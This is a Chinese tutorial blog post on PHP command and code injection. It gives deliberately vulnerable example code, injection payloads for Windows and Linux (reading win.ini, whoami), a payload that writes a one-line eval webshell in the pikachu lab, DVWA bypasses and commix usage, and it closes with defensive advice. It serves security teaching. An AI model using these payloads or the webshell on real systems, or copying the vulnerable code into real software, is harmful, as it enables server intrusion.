代码执行漏洞笔记

1 命令执行漏洞介绍

1.1 命令执行漏洞原理

命令执行漏洞,也称为命令注入漏洞,是指攻击者通过在某个程序中注入恶意命令,从而获得执行权限。这种漏洞的原理是,当程序需要执行一些系统命令时,如果没有对用户输入的数据进行充分的过滤和限制,那么攻击者就可以通过输入一些特殊的字符,将自己的命令注入到原来的命令中,从而掌控程序。

1.2 PHP下命令执行函数

在PHP中具有执行系统命令功能的函数如下

命令command注入

函数作用
system执行外部程序,并且显示输出
exec/shell_exec通过 shell 环境执行命令,并且将完整的 输出以字符串的方式返回
Pcntl_exec在当前程序空间执行指定程序
passthru执行外部程序并且显示原始输出
popen打开进程文件指针
Proc_open执行一个命令,并且打开用来输入/输出 的文件指针

代码code注入

函数作用
eval()把字符串 code 作为PHP代码执行
assert()检查一个断言是否为false
preg_replace()执行一个正则表达式的搜索和替换
create_function()创建一个匿名函数并且返回函数名称
call_user_func()/call_user_func_array()把第一个参数作为回调函数调用
usort()/uasort()使用用户自定义的比较函数对数组中的值 进行排

提示:某些情况下,要注意存在以上函数的 php 文件,有可能是 webshell。当然这只是其中的一部分,要查看全部函数的话,可以去官方文档里面查看,我们这边就不去看了

1.3 命令执行漏洞代码分析

以下给出一个存在命令执行漏洞的简单代码。

<?php
    echo "<pre>";
    if(isset($_GET['cmd']))
    {
    system($_GET["cmd"]);
    }
    echo "</pre>";
?>

接下来给大家演示:写一个 list.php,内容就写上面的代码;然后放到 phpstudy 的www目录里面;

1.4 命令执行漏洞案例演示

在 windows 下执行 ipconfig 来获取网卡信息;

http://192.168.1.26/list.php?cmd=ipconfig #命令执行 ipconfig

2 Windwos命令执行漏洞

2.1 命令执行漏洞利用思路

代码中拼接用户的输入内容,但是无法直接执行用户的自定义命令,基本上都是这种情况的话,怎么办?大家思考一下:

思路:

截断输入,重新拼接。两条命令都输入并执行。

2.2 命令执行漏洞拼接符介绍

在 windows 系统下的 cmd 命令中,有以下一些截断拼接符。

&前面的语句为假则直接执行后面的;
&&前面的语句为假则直接出错,后面的也不执行;
|直接执行后面的语句
||前面出错执行后面的

2.3 命令执行漏洞利用演示

ping 192.168.1.1 && ipconfig

ping 1111 && ipconfig

ping 192.168.1.1 | ipconfig

ping 333 | ipconfig

ping 192.168.1.1 || ipconfig

ping 666 || ipconfig

接下来如果我们发现某网站有该漏洞我们就用 windows 下的拼接符去一一测试,因为拼接符有的支持window7 但是不满足 window10,有时候在 windows2008 上可以,但是在 win2003 上不行,

所以大家发现这种漏洞时,就尽可能在不同的 windows 系统上都测试一下;

下面是在 win10 系统上做了一个:list.php 是刚才我们创建好的;

3 Linux命令执行漏洞利用技巧

3.1 Kali linux 测试环境搭建

咱们再centos7上演示:

启动 apache 服务, systemctl restart httpd

拷贝 list.php 到 /var/www/html/目录下的一个文件中

list.php 代码如下:

<?php
    echo "<pre>";
    $arg = $_GET["cmd"];
    if($arg)
    {
    system("ping -c 4 $arg")
    }
    echo "</pre>";
    ?>
<?php
    echo "<pre>";
    $arg = $_GET["cmd"];
    if($arg) {
    system("ping -c 4 $arg");
    }
    echo "</pre>";
?>

3.2 命令执行拼接符介绍

在 Linux 系统下的 shell 命令中,有以下一些截断拼接符。给大家强调一下,在 linux 下和在windows下的命令拼接符有一定的区别

在 Linux 上,上面的;也可以用 | 、|| 代替;

; 前面的执行完执行后面的

ping 192.168.1.1 -c 4 ; ifconfig

ping 888 -c 4 ; ifconfig

| 是管道符,显示后面的执行结果

ping 192.168.1.1 -c 4 | ifconfig

ping 888 -c 4 | ifconfig

|| 当前面的执行出错时执行后面的

ping 192.168.1.1 -c 4 || ifconfig

ping 888 -c 4 || ifconfig

& 无论前面语句真假都会

ping 192.168.1.1 & id

ping 111 & id

&& 只要前面语句为真,才会执行后面语句

ping 192.168.1.1 && id

ping 111 && id

4 命令执行漏洞靶场利用演示

4.1 pikachu靶场漏洞演示

第1关 exec “ping”

远程系统命令执行

后台对用户输入的IP地址进行一次 ping 测试,并返回测试结果

尝试 ping 一下本地127.0.0.1

可以看到 ping 成功了。

不过这里存在乱码,靶场是放在 Windows 下的,用网上文章上的方法暂时无法解决。这里测试能 ping成功就行。

由于windows和linux有3个命令连接符是相同的(|,||,&&),因此在不知道目标的具体操作系统的情况下,可以先用这三种测试。

这次先用管道符(&&)试试吧。命令就用whoami

为啥用whoami命令呢?因为这个命令不但windows和linux系统都支持(windows xp不默认支持,可安装),而且显示的内容不同,不但可以用来判断是否有远程命令执行漏洞,还可以用来判断操作系统(linux系统中显示当前执行操作的用户名,windows系统中显示当前登录的域名和用户名)还有一点需要注意,命令和连接符之间有没有空格都可以

输入Payload:127.0.0.1 && whoami

成功得到域和用户名:desktop-8nt4stc\administrator

同时也知道了操作系统是windows

输入payload: 127.0.0.1 && dir

可以查看当前路径和路径下的文件

输入payload: 127.0.0.1 && type C:\Windows\win.ini

可以查看win.ini文件的内容

源码分析:

造成这个漏洞的原因可以看一下本关的源代码,如下图,关注一下用户输入的参数值

$_POST[‘ipaddress’]的流向。

本关代码中,首先将$ _POST[‘ipaddress’]赋值给$ip,然后直接未经任何处理就将其传入shell_exec()函数执行,造成命令可拼接执行

第2关 exec “eval”

远程代码执行

后台把用户的输入作为代码的一部分进行执行,造成了远程代码执行漏洞。

题目都提示的这么明显了,直接上payload吧。

输入: phpinfo();

phpinfo()函数被执行了

根据代码执行这个漏洞,我们可以通过此处上传一句话木马。

输入payload: fputs(fopen('shell.php','w'),'<?php eval($_POST[fin]);?>');

虽然返回没有什么特别的。

但是到本关目录下查看发现木马文件已经上传成功。

使用蚁剑进行连接

源码分析:

打开靶场根目录里的源文件,可以看到不存在任何校验。直接把输入的内容放在 eval() 函数中。

4.2 DVWA靶场漏洞演示

low

我们先来看一下页面效果

查看代码并分析

这段代码没有进行过滤以及使用ping进行代码执行

输入127.0.0.1 & ifconfig

这里看到我们就直接得到了服务器的内网地址。

medium

我们还是先来看页面效果

查看源代码

这里将&&; 都被替换为空字符串,即它们被移除了。

输入127.0.0.1 & ifconfig

这里看到我们就直接得到了服务器的内网地址。

high

还是一样来看页面效果

这段代码分析

里的黑名单明显多了不少,但是在|后面竟然有个空格,这就有点扯淡了,那这里我就利用他这个漏洞

来写,这种拼接字符串,可以不用空格也是可以的。

输入127.0.0.1|ifconfig

impossible

发现这里还添加了token参数的检验,杜绝了CSRF漏洞的利用,并且这里我们发现在代码中,其限制了输入数据的格式,也就是说这里采用了白名单的做法,只有输入的格式跟白名单的一样才能通过验证,其他的都不行。这样就基本上杜绝了命令注入。

5 命令执行自动化工具探测

Commix 工具简介:Commix 是一个使用 Python 开发的漏洞测试工具,这个工具是为了方便检测

一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接导入 burp的历史记录进行检测,大大提高了易用性。下载地址:

https://github.com/commixproject/commix

在 kali linux 自带了 commix 可以直接使用,并不需要去搭建

commix -h 获取帮助信息

接下来用 commix 来探测:

commix -u http://192.168.1.26/list.php?cmd=ipconfig

6 命令执行漏洞的防御

  1. 开源框架,升级到最新版本

  2. 尽量不要使用命令执行的函数

  3. 如果必须使用,需要做白名单处理

  4. 用正则表达式对用户输入的内容进行处理

  5. 使用WAF

  • 17
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值